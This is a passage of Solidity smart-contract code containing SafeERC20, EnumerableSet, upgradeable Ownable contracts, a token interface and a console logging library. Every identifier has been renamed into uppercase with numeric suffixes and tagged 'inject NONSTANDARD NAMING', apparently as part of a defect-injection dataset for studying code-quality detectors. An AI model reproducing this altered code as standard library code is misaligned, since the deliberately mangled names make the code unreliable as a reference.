// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function SAFETRANSFER239(IERC20 token, address to, uint256 value) internal { //inject NONSTANDARD NAMING
_CALLOPTIONALRETURN137(token, abi.encodeWithSelector(token.TRANSFER353.selector, to, value));
}
function SAFETRANSFERFROM64(IERC20 token, address from, address to, uint256 value) internal { //inject NONSTANDARD NAMING
_CALLOPTIONALRETURN137(token, abi.encodeWithSelector(token.TRANSFERFROM954.selector, from, to, value));
}
function SAFEAPPROVE765(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.ALLOWANCE946(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_CALLOPTIONALRETURN137(token, abi.encodeWithSelector(token.APPROVE926.selector, spender, value));
}
function SAFEINCREASEALLOWANCE134(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING
uint256 newAllowance = token.ALLOWANCE946(address(this), spender).ADD659(value);
_CALLOPTIONALRETURN137(token, abi.encodeWithSelector(token.APPROVE926.selector, spender, newAllowance));
}
function SAFEDECREASEALLOWANCE546(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING
uint256 newAllowance = token.ALLOWANCE946(address(this), spender).SUB877(value, "SafeERC20: decreased allowance below zero");
_CALLOPTIONALRETURN137(token, abi.encodeWithSelector(token.APPROVE926.selector, spender, newAllowance));
}
function _CALLOPTIONALRETURN137(IERC20 token, bytes memory data) private { //inject NONSTANDARD NAMING
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).ISCONTRACT107(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
function _ADD286(Set storage set, bytes32 value) private returns (bool) { //inject NONSTANDARD NAMING
if (!_CONTAINS837(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _REMOVE863(Set storage set, bytes32 value) private returns (bool) { //inject NONSTANDARD NAMING
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _CONTAINS837(Set storage set, bytes32 value) private view returns (bool) { //inject NONSTANDARD NAMING
return set._indexes[value] != 0;
}
function _LENGTH639(Set storage set) private view returns (uint256) { //inject NONSTANDARD NAMING
return set._values.length;
}
function _AT524(Set storage set, uint256 index) private view returns (bytes32) { //inject NONSTANDARD NAMING
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
function ADD659(AddressSet storage set, address value) internal returns (bool) { //inject NONSTANDARD NAMING
return _ADD286(set._inner, bytes32(uint256(value)));
}
function REMOVE976(AddressSet storage set, address value) internal returns (bool) { //inject NONSTANDARD NAMING
return _REMOVE863(set._inner, bytes32(uint256(value)));
}
function CONTAINS600(AddressSet storage set, address value) internal view returns (bool) { //inject NONSTANDARD NAMING
return _CONTAINS837(set._inner, bytes32(uint256(value)));
}
function LENGTH659(AddressSet storage set) internal view returns (uint256) { //inject NONSTANDARD NAMING
return _LENGTH639(set._inner);
}
function AT450(AddressSet storage set, uint256 index) internal view returns (address) { //inject NONSTANDARD NAMING
return address(uint256(_AT524(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
function ADD659(UintSet storage set, uint256 value) internal returns (bool) { //inject NONSTANDARD NAMING
return _ADD286(set._inner, bytes32(value));
}
function REMOVE976(UintSet storage set, uint256 value) internal returns (bool) { //inject NONSTANDARD NAMING
return _REMOVE863(set._inner, bytes32(value));
}
function CONTAINS600(UintSet storage set, uint256 value) internal view returns (bool) { //inject NONSTANDARD NAMING
return _CONTAINS837(set._inner, bytes32(value));
}
function LENGTH659(UintSet storage set) internal view returns (uint256) { //inject NONSTANDARD NAMING
return _LENGTH639(set._inner);
}
function AT450(UintSet storage set, uint256 index) internal view returns (uint256) { //inject NONSTANDARD NAMING
return uint256(_AT524(set._inner, index));
}
}
contract Initializable {
bool private initialized;
bool private initializing;
modifier INITIALIZER933() { //inject NONSTANDARD NAMING
require(initializing || ISCONSTRUCTOR543() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
function ISCONSTRUCTOR543() private view returns (bool) { //inject NONSTANDARD NAMING
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
contract ContextUpgradeSafe is Initializable {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
function __CONTEXT_INIT408() internal INITIALIZER933 { //inject NONSTANDARD NAMING
__CONTEXT_INIT_UNCHAINED28();
}
function __CONTEXT_INIT_UNCHAINED28() internal INITIALIZER933 { //inject NONSTANDARD NAMING
}
function _MSGSENDER195() internal view virtual returns (address payable) { //inject NONSTANDARD NAMING
return msg.sender;
}
function _MSGDATA356() internal view virtual returns (bytes memory) { //inject NONSTANDARD NAMING
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
contract OwnableUpgradeSafe is Initializable, ContextUpgradeSafe {
address private _owner;
event OWNERSHIPTRANSFERRED637(address indexed previousOwner, address indexed newOwner); //inject NONSTANDARD NAMING
function __OWNABLE_INIT503() internal INITIALIZER933 { //inject NONSTANDARD NAMING
__CONTEXT_INIT_UNCHAINED28();
__OWNABLE_INIT_UNCHAINED19();
}
function __OWNABLE_INIT_UNCHAINED19() internal INITIALIZER933 { //inject NONSTANDARD NAMING
address msgSender = _MSGSENDER195();
_owner = msgSender;
emit OWNERSHIPTRANSFERRED637(address(0), msgSender);
}
function OWNER330() public view returns (address) { //inject NONSTANDARD NAMING
return _owner;
}
modifier ONLYOWNER691() { //inject NONSTANDARD NAMING
require(_owner == _MSGSENDER195(), "Ownable: caller is not the owner");
_;
}
function RENOUNCEOWNERSHIP236() public virtual ONLYOWNER691 { //inject NONSTANDARD NAMING
emit OWNERSHIPTRANSFERRED637(_owner, address(0));
_owner = address(0);
}
function TRANSFEROWNERSHIP889(address newOwner) public virtual ONLYOWNER691 { //inject NONSTANDARD NAMING
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OWNERSHIPTRANSFERRED637(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
interface INBUNIERC20 {
function TOTALSUPPLY831() external view returns (uint256); //inject NONSTANDARD NAMING
function BALANCEOF536(address account) external view returns (uint256); //inject NONSTANDARD NAMING
function TRANSFER353(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function ALLOWANCE946(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING
function APPROVE926(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFERFROM954(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
event TRANSFER795(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING
event APPROVAL172(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING
event LOG470(string log); //inject NONSTANDARD NAMING
}
library console {
address constant console_address243 = address(0x000000000000000000636F6e736F6c652e6c6f67); //inject NONSTANDARD NAMING
function _SENDLOGPAYLOAD647(bytes memory payload) private view { //inject NONSTANDARD NAMING
uint256 payloadLength = payload.length;
address consoleAddress = console_address243;
assembly {
let payloadStart := add(payload, 32)
let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0)
}
}
function LOG714() internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log()"));
}
function LOGINT241(int p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(int)", p0));
}
function LOGUINT442(uint p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint)", p0));
}
function LOGSTRING55(string memory p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string)", p0));
}
function LOGBOOL721(bool p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool)", p0));
}
function LOGADDRESS713(address p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address)", p0));
}
function LOGBYTES271(bytes memory p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes)", p0));
}
function LOGBYTE944(byte p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(byte)", p0));
}
function LOGBYTES1701(bytes1 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes1)", p0));
}
function LOGBYTES2946(bytes2 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes2)", p0));
}
function LOGBYTES314(bytes3 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes3)", p0));
}
function LOGBYTES4424(bytes4 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes4)", p0));
}
function LOGBYTES566(bytes5 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes5)", p0));
}
function LOGBYTES6220(bytes6 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes6)", p0));
}
function LOGBYTES7640(bytes7 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes7)", p0));
}
function LOGBYTES8995(bytes8 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes8)", p0));
}
function LOGBYTES9199(bytes9 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes9)", p0));
}
function LOGBYTES10336(bytes10 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes10)", p0));
}
function LOGBYTES11706(bytes11 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes11)", p0));
}
function LOGBYTES12632(bytes12 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes12)", p0));
}
function LOGBYTES13554(bytes13 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes13)", p0));
}
function LOGBYTES14593(bytes14 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes14)", p0));
}
function LOGBYTES15340(bytes15 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes15)", p0));
}
function LOGBYTES16538(bytes16 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes16)", p0));
}
function LOGBYTES17699(bytes17 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes17)", p0));
}
function LOGBYTES18607(bytes18 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes18)", p0));
}
function LOGBYTES19918(bytes19 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes19)", p0));
}
function LOGBYTES20388(bytes20 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes20)", p0));
}
function LOGBYTES21100(bytes21 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes21)", p0));
}
function LOGBYTES22420(bytes22 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes22)", p0));
}
function LOGBYTES238(bytes23 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes23)", p0));
}
function LOGBYTES24936(bytes24 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes24)", p0));
}
function LOGBYTES25750(bytes25 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes25)", p0));
}
function LOGBYTES26888(bytes26 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes26)", p0));
}
function LOGBYTES2749(bytes27 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes27)", p0));
}
function LOGBYTES28446(bytes28 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes28)", p0));
}
function LOGBYTES29383(bytes29 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes29)", p0));
}
function LOGBYTES30451(bytes30 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes30)", p0));
}
function LOGBYTES31456(bytes31 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes31)", p0));
}
function LOGBYTES32174(bytes32 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes32)", p0));
}
function LOG714(uint p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint)", p0));
}
function LOG714(string memory p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string)", p0));
}
function LOG714(bool p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool)", p0));
}
function LOG714(address p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address)", p0));
}
function LOG714(uint p0, uint p1) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint)", p0, p1));
}
function LOG714(uint p0, string memory p1) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string)", p0, p1));
}
function LOG714(uint p0, bool p1) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool)", p0, p1));
}
function LOG714(uint p0, address p1) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address)", p0, p1));
}
function LOG714(string memory p0, uint p1) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint)", p0, p1));
}
function LOG714(string memory p0, string memory p1) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string)", p0, p1));
}
function LOG714(string memory p0, bool p1) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool)", p0, p1));
}
function LOG714(string memory p0, address p1) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address)", p0, p1));
}
function LOG714(bool p0, uint p1) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint)", p0, p1));
}
function LOG714(bool p0, string memory p1) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string)", p0, p1));
}
function LOG714(bool p0, bool p1) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool)", p0, p1));
}
function LOG714(bool p0, address p1) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address)", p0, p1));
}
function LOG714(address p0, uint p1) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint)", p0, p1));
}
function LOG714(address p0, string memory p1) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string)", p0, p1));
}
function LOG714(address p0, bool p1) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool)", p0, p1));
}
function LOG714(address p0, address p1) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address)", p0, p1));
}
function LOG714(uint p0, uint p1, uint p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2));
}
function LOG714(uint p0, uint p1, string memory p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2));
}
function LOG714(uint p0, uint p1, bool p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2));
}
function LOG714(uint p0, uint p1, address p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2));
}
function LOG714(uint p0, string memory p1, uint p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2));
}
function LOG714(uint p0, string memory p1, string memory p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2));
}
function LOG714(uint p0, string memory p1, bool p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2));
}
function LOG714(uint p0, string memory p1, address p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2));
}
function LOG714(uint p0, bool p1, uint p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2));
}
function LOG714(uint p0, bool p1, string memory p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2));
}
function LOG714(uint p0, bool p1, bool p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2));
}
function LOG714(uint p0, bool p1, address p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2));
}
function LOG714(uint p0, address p1, uint p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2));
}
function LOG714(uint p0, address p1, string memory p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2));
}
function LOG714(uint p0, address p1, bool p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2));
}
function LOG714(uint p0, address p1, address p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2));
}
function LOG714(string memory p0, uint p1, uint p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2));
}
function LOG714(string memory p0, uint p1, string memory p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2));
}
function LOG714(string memory p0, uint p1, bool p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2));
}
function LOG714(string memory p0, uint p1, address p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2));
}
function LOG714(string memory p0, string memory p1, uint p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2));
}
function LOG714(string memory p0, string memory p1, string memory p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2));
}
function LOG714(string memory p0, string memory p1, bool p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2));
}
function LOG714(string memory p0, string memory p1, address p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2));
}
function LOG714(string memory p0, bool p1, uint p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2));
}
function LOG714(string memory p0, bool p1, string memory p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2));
}
function LOG714(string memory p0, bool p1, bool p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2));
}
function LOG714(string memory p0, bool p1, address p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2));
}
function LOG714(string memory p0, address p1, uint p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2));
}
function LOG714(string memory p0, address p1, string memory p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2));
}
function LOG714(string memory p0, address p1, bool p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2));
}
function LOG714(string memory p0, address p1, address p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2));
}
function LOG714(bool p0, uint p1, uint p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2));
}
function LOG714(bool p0, uint p1, string memory p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2));
}
function LOG714(bool p0, uint p1, bool p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2));
}
function LOG714(bool p0, uint p1, address p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2));
}
function LOG714(bool p0, string memory p1, uint p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2));
}
function LOG714(bool p0, string memory p1, string memory p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2));
}
function LOG714(bool p0, string memory p1, bool p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2));
}
function LOG714(bool p0, string memory p1, address p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2));
}
function LOG714(bool p0, bool p1, uint p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2));
}
function LOG714(bool p0, bool p1, string memory p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2));
}
function LOG714(bool p0, bool p1, bool p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2));
}
function LOG714(bool p0, bool p1, address p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2));
}
function LOG714(bool p0, address p1, uint p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2));
}
function LOG714(bool p0, address p1, string memory p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2));
}
function LOG714(bool p0, address p1, bool p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2));
}
function LOG714(bool p0, address p1, address p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2));
}
function LOG714(address p0, uint p1, uint p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2));
}
function LOG714(address p0, uint p1, string memory p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2));
}
function LOG714(address p0, uint p1, bool p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2));
}
function LOG714(address p0, uint p1, address p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2));
}
function LOG714(address p0, string memory p1, uint p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2));
}
function LOG714(address p0, string memory p1, string memory p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2));
}
function LOG714(address p0, string memory p1, bool p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2));
}
function LOG714(address p0, string memory p1, address p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2));
}
function LOG714(address p0, bool p1, uint p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2));
}
function LOG714(address p0, bool p1, string memory p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2));
